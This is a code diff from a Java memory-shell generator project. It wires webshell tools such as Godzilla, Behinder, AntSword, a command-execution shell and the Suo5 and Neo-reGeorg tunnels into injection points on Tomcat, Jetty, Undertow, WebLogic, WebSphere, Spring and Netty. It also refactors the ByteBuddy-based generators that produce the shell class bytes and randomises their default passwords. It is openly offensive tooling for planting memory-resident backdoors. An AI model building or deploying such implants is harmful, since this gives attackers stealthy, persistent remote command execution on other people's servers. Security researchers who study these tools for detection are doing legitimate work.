.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, GodzillaFilterChainAdvisor.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, GodzillaFilterChainAdvisor.class)
.addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
.build());
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
@@ -178,17 +148,19 @@ public enum Server {
.addShellClass(JAKARTA_LISTENER, BehinderListener.class)
.addShellClass(VALVE, BehinderValve.class)
.addShellClass(JAKARTA_VALVE, BehinderValve.class)
.addShellClass(PROXY_VALVE, Behinder.class)
.addShellClass(JAKARTA_PROXY_VALVE, Behinder.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, BehinderInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, BehinderInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, BehinderControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, BehinderControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, BehinderServletAdvisor.class)
.addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class)
.addShellClass(JETTY_AGENT_HANDLER, BehinderHandlerAdvisor.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderServletInitialHandlerAdvisor.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, BehinderFilterChainAdvisor.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, BehinderFilterChainAdvisor.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Behinder.class)
.addShellClass(AGENT_FILTER_CHAIN, Behinder.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Behinder.class)
.addShellClass(JETTY_AGENT_HANDLER, BehinderJettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
.build());
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
@@ -196,15 +168,16 @@ public enum Server {
.addShellClass(FILTER, AntSwordFilter.class)
.addShellClass(LISTENER, AntSwordListener.class)
.addShellClass(VALVE, AntSwordValve.class)
.addShellClass(PROXY_VALVE, AntSword.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSwordServletAdvisor.class)
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
.addShellClass(JETTY_AGENT_HANDLER, AntSwordHandlerAdvisor.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordServletInitialHandlerAdvisor.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSwordFilterChainAdvisor.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSwordFilterChainAdvisor.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSword.class)
.addShellClass(AGENT_FILTER_CHAIN, AntSword.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSword.class)
.addShellClass(JETTY_AGENT_HANDLER, AntSwordJettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
.build());
addToolMapping(ShellTool.Command, ToolMapping.builder()
@@ -216,30 +189,25 @@ public enum Server {
.addShellClass(JAKARTA_LISTENER, CommandListener.class)
.addShellClass(VALVE, CommandValve.class)
.addShellClass(JAKARTA_VALVE, CommandValve.class)
.addShellClass(PROXY_VALVE, Command.class)
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
.addShellClass(WEBSOCKET, CommandWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandFilterChainAdvisor.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, CommandFilterChainAsmMethodVisitor.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Command.class)
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
.addShellClass(AGENT_FILTER_CHAIN_ASM, CommandFilterChainAsmMethodVisitor.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE_ASM, CommandFilterChainAsmMethodVisitor.class)
.addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
.addShellClass(JETTY_AGENT_HANDLER_ASM, CommandHandlerAsmMethodVisitor.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, CommandServerInitialHandlerAsmMethodVisitor.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, CommandFilterChainAsmMethodVisitor.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER_ASM, CommandFilterChainAsmMethodVisitor.class)
.addShellClass(AGENT_FILTER_CHAIN, Command.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
.build());
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
@@ -251,11 +219,20 @@ public enum Server {
.addShellClass(JAKARTA_LISTENER, Suo5Listener.class)
.addShellClass(VALVE, Suo5Valve.class)
.addShellClass(JAKARTA_VALVE, Suo5Valve.class)
.addShellClass(PROXY_VALVE, Suo5.class)
.addShellClass(JAKARTA_PROXY_VALVE, Suo5.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5Interceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5Interceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5.class)
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class)
.addShellClass(AGENT_FILTER_CHAIN, Suo5.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5.class)
.addShellClass(JETTY_AGENT_HANDLER, Suo5JettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
.build());
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
@@ -267,10 +244,19 @@ public enum Server {
.addShellClass(JAKARTA_LISTENER, NeoreGeorgListener.class)
.addShellClass(VALVE, NeoreGeorgValve.class)
.addShellClass(JAKARTA_VALVE, NeoreGeorgValve.class)
.addShellClass(PROXY_VALVE, NeoreGeorg.class)
.addShellClass(JAKARTA_PROXY_VALVE, NeoreGeorg.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, NeoreGeorgInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, NeoreGeorg.class)
.addShellClass(AGENT_FILTER_CHAIN, NeoreGeorg.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, NeoreGeorg.class)
.addShellClass(JETTY_AGENT_HANDLER, NeoreGeorgJettyHandler.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
.build());
}
}
@@ -1,44 +1,40 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.generator.*;
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
import java.lang.reflect.Constructor;
/**
* @author ReaJason
* @since 2024/11/22
*/
public enum ShellTool {
/**
* 哥斯拉
*/
Godzilla,
Godzilla(GodzillaGenerator.class, GodzillaConfig.class),
Command(CommandGenerator.class, CommandConfig.class),
Behinder(BehinderGenerator.class, BehinderConfig.class),
Suo5(Suo5Generator.class, Suo5Config.class),
AntSword(AntSwordGenerator.class, AntSwordConfig.class),
NeoreGeorg(NeoreGeorgGenerator.class, NeoreGeorgConfig.class),
Custom(CustomShellGenerator.class, CustomConfig.class);
/**
* 冰蝎
*/
Behinder,
private final Class<? extends ShellGenerator> generatorClass;
private final Class<? extends ShellToolConfig> configClass;
/**
* 蚁剑
*/
AntSword,
ShellTool(Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
this.generatorClass = generatorClass;
this.configClass = configClass;
}
/**
* 命令回显
*/
Command,
/**
* Suo5 隧道代理 <a href="https://github.com/zema1/suo5">zema1/suo5</a>
*/
Suo5,
/**
* Neo-reGeorg <a href="https://github.com/L-codes/Neo-reGeorg">L-codes/Neo-reGeorg</a>
*/
NeoreGeorg,
/**
* 自定义
*/
Custom,
;
public byte[] generateBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
try {
Constructor<? extends ShellGenerator> constructor =
generatorClass.getConstructor(ShellConfig.class, configClass);
ShellGenerator generator = constructor.newInstance(shellConfig, configClass.cast(shellToolConfig));
return generator.getBytes();
} catch (Exception e) {
throw new RuntimeException("Failed to create generator for " + this, e);
}
}
}
@@ -6,40 +6,35 @@ package com.reajason.javaweb.memshell;
*/
public class ShellType {
public static final String JAKARTA = "Jakarta";
public static final String SERVLET = "Servlet";
public static final String JAKARTA_SERVLET = "JakartaServlet";
public static final String JAKARTA_SERVLET = JAKARTA + SERVLET;
public static final String FILTER = "Filter";
public static final String JAKARTA_FILTER = "JakartaFilter";
public static final String JAKARTA_FILTER = JAKARTA + FILTER;
public static final String LISTENER = "Listener";
public static final String JAKARTA_LISTENER = "JakartaListener";
public static final String JAKARTA_LISTENER = JAKARTA + LISTENER;
public static final String VALVE = "Valve";
public static final String JAKARTA_VALVE = "JakartaValve";
public static final String JAKARTA_VALVE = JAKARTA + VALVE;
public static final String PROXY_VALVE = "Proxy" + VALVE;
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
public static final String NETTY_HANDLER = "NettyHandler";
public static final String AGENT = "Agent";
public static final String ASM = "ASM";
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
public static final String AGENT_FILTER_CHAIN_ASM = AGENT + "FilterChain" + ASM;
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValve" + ASM;
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
public static final String JETTY_AGENT_HANDLER_ASM = AGENT + "Handler" + ASM;
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
public static final String UNDERTOW_AGENT_SERVLET_HANDLER_ASM = AGENT + "ServletHandler" + ASM;
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
public static final String WAS_AGENT_FILTER_MANAGER_ASM = AGENT + "FilterManager" + ASM;
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM = AGENT + "ServletContext" + ASM;
public static final String SPRING_WEBMVC_INTERCEPTOR = "Interceptor";
public static final String SPRING_WEBMVC_JAKARTA_INTERCEPTOR = "JakartaInterceptor";
public static final String SPRING_WEBMVC_CONTROLLER_HANDLER = "ControllerHandler";
public static final String SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET = AGENT + "FrameworkServlet";
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM = AGENT + "FrameworkServlet" + ASM;
public static final String SPRING_WEBFLUX_WEB_FILTER = "WebFilter";
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
@@ -15,7 +15,7 @@ import lombok.experimental.SuperBuilder;
@ToString
public class AntSwordConfig extends ShellToolConfig {
@Builder.Default
private String pass = "pass";
private String pass = CommonUtil.getRandomString(8);
@Builder.Default
private String headerName = "User-Agent";
@Builder.Default
@@ -15,7 +15,7 @@ import lombok.experimental.SuperBuilder;
@ToString
public class BehinderConfig extends ShellToolConfig {
@Builder.Default
private String pass = "pass";
private String pass = CommonUtil.getRandomString(8);
@Builder.Default
private String headerName = "User-Agent";
@Builder.Default
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.Builder;
import lombok.Getter;
import lombok.ToString;
@@ -14,5 +15,34 @@ import lombok.experimental.SuperBuilder;
@ToString
public class CommandConfig extends ShellToolConfig {
@Builder.Default
private String paramName = "cmd";
private String paramName = CommonUtil.getRandomString(8);
@Builder.Default
private Encryptor encryptor = Encryptor.RAW;
@Builder.Default
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
public enum ImplementationClass {
RuntimeExec, ForkAndExec;
public static ImplementationClass fromString(String encryptor) {
if (encryptor != null && encryptor.equals("ForkAndExec")) {
return ForkAndExec;
}
return RuntimeExec;
}
}
public enum Encryptor {
RAW, DOUBLE_BASE64;
public static Encryptor fromString(String encryptor) {
if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
return DOUBLE_BASE64;
}
return RAW;
}
}
}
@@ -4,8 +4,8 @@ import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import org.apache.commons.codec.binary.Base64;
import java.util.Base64;
import java.util.Map;
/**
@@ -33,11 +33,11 @@ public class GenerateResult {
public static class GenerateResultBuilder {
public GenerateResult build() {
if (shellBytes != null) {
shellBytesBase64Str = Base64.encodeBase64String(shellBytes);
shellBytesBase64Str = Base64.getEncoder().encodeToString(shellBytes);
shellSize = shellBytes.length;
}
if (injectorBytes != null) {
injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes);
injectorBytesBase64Str = Base64.getEncoder().encodeToString(injectorBytes);
injectorSize = injectorBytes.length;
}
return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
@@ -15,9 +15,9 @@ import lombok.experimental.SuperBuilder;
@ToString
public class GodzillaConfig extends ShellToolConfig {
@Builder.Default
private String pass = "pass";
private String pass = CommonUtil.getRandomString(8);
@Builder.Default
private String key = "key";
private String key = CommonUtil.getRandomString(8);
@Builder.Default
private String headerName = "User-Agent";
@Builder.Default
@@ -45,12 +45,6 @@ public class ShellConfig {
@Builder.Default
private boolean byPassJavaModule = false;
/**
* 是否开启混淆
*/
@Builder.Default
private boolean obfuscate = false;
/**
* 是否开启调试
*/
@@ -0,0 +1,18 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
/**
* @author ReaJason
* @since 2025/5/27
*/
public abstract class ASMShellGenerator<T extends ShellToolConfig> implements ShellGenerator {
protected final ShellConfig shellConfig;
protected final T shellToolConfig;
protected ASMShellGenerator(ShellConfig shellConfig, T shellToolConfig) {
this.shellConfig = shellConfig;
this.shellToolConfig = shellToolConfig;
}
}
@@ -1,18 +1,8 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.AntSwordConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.lang3.StringUtils;
import java.util.HashMap;
import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -20,55 +10,15 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
* @author ReaJason
* @since 2025/02/18
*/
public class AntSwordGenerator {
private final ShellConfig shellConfig;
private final AntSwordConfig antSwordConfig;
public AntSwordGenerator(ShellConfig shellConfig, AntSwordConfig antSwordConfig) {
this.shellConfig = shellConfig;
this.antSwordConfig = antSwordConfig;
public class AntSwordGenerator extends ByteBuddyShellGenerator<AntSwordConfig> {
public AntSwordGenerator(ShellConfig shellConfig, AntSwordConfig shellToolConfig) {
super(shellConfig, shellToolConfig);
}
public DynamicType.Builder<?> getBuilder() {
if (antSwordConfig.getShellClass() == null) {
throw new IllegalArgumentException("antSwordConfig.getClazz() == null");
}
if (StringUtils.isBlank(antSwordConfig.getPass())) {
throw new IllegalArgumentException("antSwordConfig.getPass().isBlank()");
}
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(antSwordConfig.getShellClass())
.name(antSwordConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
put("pass", antSwordConfig.getPass());
put("headerName", antSwordConfig.getHeaderName());
put("headerValue", antSwordConfig.getHeaderValue());
}})
);
} else {
builder = builder.field(named("pass")).value(antSwordConfig.getPass())
.field(named("headerName")).value(antSwordConfig.getHeaderName())
.field(named("headerValue")).value(antSwordConfig.getHeaderValue());
}
return builder;
}
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
@Override
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
return builder.field(named("pass")).value(shellToolConfig.getPass())
.field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
}
}
@@ -1,19 +1,9 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.BehinderConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import com.reajason.javaweb.memshell.utils.DigestUtils;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.commons.lang3.StringUtils;
import java.util.HashMap;
import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -21,57 +11,15 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
* @author ReaJason
* @since 2024/12/21
*/
public class BehinderGenerator {
private final ShellConfig shellConfig;
private final BehinderConfig behinderConfig;
public BehinderGenerator(ShellConfig shellConfig, BehinderConfig behinderConfig) {
this.shellConfig = shellConfig;
this.behinderConfig = behinderConfig;
public class BehinderGenerator extends ByteBuddyShellGenerator<BehinderConfig> {
public BehinderGenerator(ShellConfig shellConfig, BehinderConfig shellToolConfig) {
super(shellConfig, shellToolConfig);
}
public DynamicType.Builder<?> getBuilder() {
if (behinderConfig.getShellClass() == null) {
throw new IllegalArgumentException("behinderConfig.getClazz() == null");
}
if (StringUtils.isBlank(behinderConfig.getPass())) {
throw new IllegalArgumentException("behinderConfig.getPass().isBlank()");
}
String md5Key = DigestUtils.md5Hex(behinderConfig.getPass()).substring(0, 16);
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(behinderConfig.getShellClass())
.name(behinderConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
put("pass", md5Key);
put("headerName", behinderConfig.getHeaderName());
put("headerValue", behinderConfig.getHeaderValue());
}})
);
} else {
builder = builder.field(named("pass")).value(md5Key)
.field(named("headerName")).value(behinderConfig.getHeaderName())
.field(named("headerValue")).value(behinderConfig.getHeaderValue());
}
return builder;
}
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
String md5Key = DigestUtils.md5Hex(shellToolConfig.getPass()).substring(0, 16);
return builder.field(named("pass")).value(md5Key)
.field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
}
}
@@ -0,0 +1,61 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.server.AbstractShell;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
/**
* @author ReaJason
* @since 2025/5/27
*/
public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> implements ShellGenerator {
protected final ShellConfig shellConfig;
protected final T shellToolConfig;
protected ByteBuddyShellGenerator(ShellConfig shellConfig, T shellToolConfig) {
this.shellConfig = shellConfig;
this.shellToolConfig = shellToolConfig;
}
protected abstract DynamicType.Builder<?> build(DynamicType.Builder<?> builder);
@Override
public byte[] getBytes() {
Class<?> shellClass = shellToolConfig.getShellClass();
String shellClassName = shellToolConfig.getShellClassName();
DynamicType.Builder<?> builder = build(new ByteBuddy()
.redefine(shellClass)
.name(shellClassName)
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())));
String shellType = shellConfig.getShellType();
AbstractShell shell = shellConfig.getServer().getShell();
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
builder = ListenerGenerator.build(builder, shell.getListenerInterceptor(), shellClass, shellClassName);
}
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
builder = ValveGenerator.build(builder, shell);
}
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
return ClassBytesShrink.shrink(unloaded.getBytes(), shellConfig.isShrink());
}
}
}
@@ -1,72 +0,0 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.lang3.StringUtils;
import java.util.HashMap;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2024/11/24
*/
public class CommandGenerator {
private final ShellConfig shellConfig;
private final CommandConfig commandConfig;
public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) {
this.shellConfig = shellConfig;
this.commandConfig = commandConfig;
}
public DynamicType.Builder<?> getBuilder() {
if (commandConfig.getShellClass() == null) {
throw new IllegalArgumentException("commandConfig.getClazz() == null");
}
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(commandConfig.getShellClass())
.name(commandConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
String shellType = shellConfig.getShellType();
if (!ShellType.WEBSOCKET.equals(shellType)) {
if (StringUtils.startsWith(shellType, ShellType.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(1) {{
put("paramName", commandConfig.getParamName());
}})
);
} else {
builder = builder.field(named("paramName")).value(commandConfig.getParamName());
}
}
return builder;
}
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
}
}
@@ -4,32 +4,29 @@ import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.memshell.config.CustomConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang3.StringUtils;
import java.util.Base64;
/**
* @author ReaJason
* @since 2025/3/18
*/
public class CustomShellGenerator {
private final ShellConfig shellConfig;
private final CustomConfig customConfig;
public class CustomShellGenerator extends ASMShellGenerator<CustomConfig> {
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
this.shellConfig = shellConfig;
this.customConfig = customConfig;
super(shellConfig, customConfig);
}
@Override
public byte[] getBytes() {
String shellClassBase64 = customConfig.getShellClassBase64();
String shellClassBase64 = shellToolConfig.getShellClassBase64();
if (StringUtils.isBlank(shellClassBase64)) {
throw new IllegalArgumentException("Custom shell class is empty");
}
byte[] bytes = ClassRenameUtils.renameClass(Base64.decodeBase64(shellClassBase64), customConfig.getShellClassName());
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
byte[] bytes = ClassRenameUtils.renameClass(classBytes, shellToolConfig.getShellClassName());
return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
}
}
@@ -1,19 +1,10 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
